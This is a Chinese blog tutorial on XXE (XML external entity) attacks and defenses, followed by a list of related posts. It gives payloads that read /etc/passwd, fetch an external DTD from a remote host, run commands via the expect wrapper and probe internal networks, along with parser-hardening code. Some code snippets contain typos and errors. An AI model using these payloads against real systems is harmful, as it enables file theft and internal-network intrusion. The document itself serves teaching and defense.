0x01 XML基础

在聊XXE之前,先说说相关的XML知识吧。

定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的一些重要的关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

实体类别介绍

实体主要分为一下四类

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

举例:
内部实体

<!ENTITY 实体名称 "实体内容">

外部实体

<!ENTITY 实体名称 SYSTEM "URI">

参数实体

<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">

注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

外部实体

默认协议

PHP扩展协议

举例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo><value>&passwd;</value>
</foo>

0x02 XXE漏洞

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

举例

  1. 恶意引入外部实体(1)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a><value>&passwd;</value>
</a>
  1. 恶意引入外部实体(2)
**XML内容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%d;
]>
<aaa>&b;</aaa>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">
  1. 恶意引入外部实体(3)

XML文件内容

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[<!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE的危害

  1. 读取任意文件
    - 有回显
    XML.php
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

    - 无回显

当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

远程服务器的evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">
  1. 命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
  1. 内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

0x03 XXE漏洞修复与防御

  1. 使用开发语言提供的禁用外部实体的方法
    PHP
libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的XML数据
    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

0x04 遗留问题(已解决)

以上测试在php5.4一下包括5.4是成功的,php5.5及以上是不成功的。可能的原因是5.5以上版本后,simplexml_load_string()、DOMDocument::loadxml()等不解析外部实体导致都不到文件还是因为libxml2版本的问题,还是高版本的php本身默认不解析外部实体呢,还是其他神恶魔原因呢?如果是因为php本身问题,那么XXE的利用范围也太过小了吧,应该不是这样的。。但是讲道理网上的资料太老了吧,估计也是参考别人的自己没有试验吧,等有空再做实验看看是什么问题。
(2017.9.20更新)
今天在弄phith0n的vulhub的时候,无意间看到php-xxe的项目,得到了我想要的结果。XXE的利用跟php版本没有关系,而是xmllib的版本问题,xmllib2.9.0以后,是默认不解析外部实体的。

0x05 参考文献

https://security.tencent.com/index.php/blog/msg/69
http://php.yjsweb.cn/php/68075544811183197241.html
https://thief.one/2017/06/20/1/

作者:Pino_HD
链接:https://www.jianshu.com/p/7325b2ef8fc9
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

【XXE】XXE漏洞攻击与防御相关推荐

  1. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  2. XXE漏洞攻击与防御

    转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言 ...

  3. php文件上传漏洞攻击与防御

    转自:http://www.cnblogs.com/crazylocust/p/6759529.html 前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中 ...

  4. 文件上传漏洞攻击与防御

    前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客, ...

  5. 微软的漏洞攻击与防御

    SolarWinds黑客卷土重来,继续攻击微软新漏洞 据微软公司表示,Nobelium黑客组织入侵了一名技术支持人员的电脑,并对其客户发动了暴力破解攻击. 目前尚不清楚这名支持人员的电脑被入侵了多长时 ...

  6. MS17-010漏洞攻击与防御(利用永恒之蓝攻击Win7系统)

    任务1 利用永恒之蓝攻击Win7系统 在Kali终端中输入命令"msfconsole ",启动Metasploit:输入命令"use auxiliary/scanner/ ...

  7. XXE漏洞原理及防御方式。

    目录 1.xml 简单了解 1.1 xml声明 1.2文档类型定义 1.3文档元素 1.4代码详解 2.DTD两种使用方式 2.1内部声明 2.2外部声明 3.DTD实体 3.1内部实体声明引用 3. ...

  8. 【XSS技巧拓展】————4、浅谈跨站脚本攻击与防御

    跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害.xss漏洞是web渗透测试中最常见而又使用最灵 ...

  9. 浅谈跨站脚本攻击与防御

    参考:OWASP关于xss修复建议 跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害.xss漏洞 ...

最新文章

  1. 基于网络音频的Android播放程序简单示例
  2. Mesos在传统金融企业的实践——平安科技陈秋浩实录分享
  3. JAVA面试整理之——JAVA基础
  4. RabbitMQ使用${}读取配置文件中的属性值
  5. 前标识(NT AUTHORITY\NETWORK SERVICE)没有对 (转)
  6. 湖北省武汉科技大学计算机报名,湖北武汉科技大学第33次计算机等级考试报名通知...
  7. Android中Log信息的输出方法
  8. xcode 怎么调用midi开发录音_音频应用专业录音声卡:雅马哈UR242声卡教程
  9. Struts中 s checkboxlist 的用法
  10. flask 请求上下文
  11. 固高运动控制器,c#代码,支持gt400/800
  12. 02怎么学数据结构?
  13. 一文搞懂机器学习准确率(Accuracy)、精确率(Pecision)、召回率(Recall)以及TP、FP、TN、FN
  14. AI代替法官?你了解智慧司法的建设与应用吗
  15. HDMI是什么设备与计算机连接的接口类型,Type-C、HDMI及DP视频接口有什么区别?电脑显示器连接线如何选?...
  16. android+复制大文件,手机SD卡无法复制拷贝大文件的解决方法
  17. 社会学概论试题库【1】
  18. 算法面试题:切割木头,给定一个数组nums,nums[i]表示每个木头的长度,木头可以截断,现在需要k根长度一样的木头,每根木头最大长度为多少
  19. KEAZ128 时钟配置
  20. PHP怎么发送邮件?

热门文章

  1. Python3 局部变量与全局变量作用域
  2. java基础学习——14、代码格式
  3. Android Studio导入项目遇到的问题
  4. box2d 计算下一帧的位置/角度
  5. php分享(三十六)mysql中关联表更新
  6. C#之反射又是什么东西
  7. javascript中的变量如果没有定义就使用的话
  8. (转)Hibernate快速入门
  9. (转)使用Spring注解方式管理事务与传播行为详解
  10. js获取时间(本周、本季度、本月..)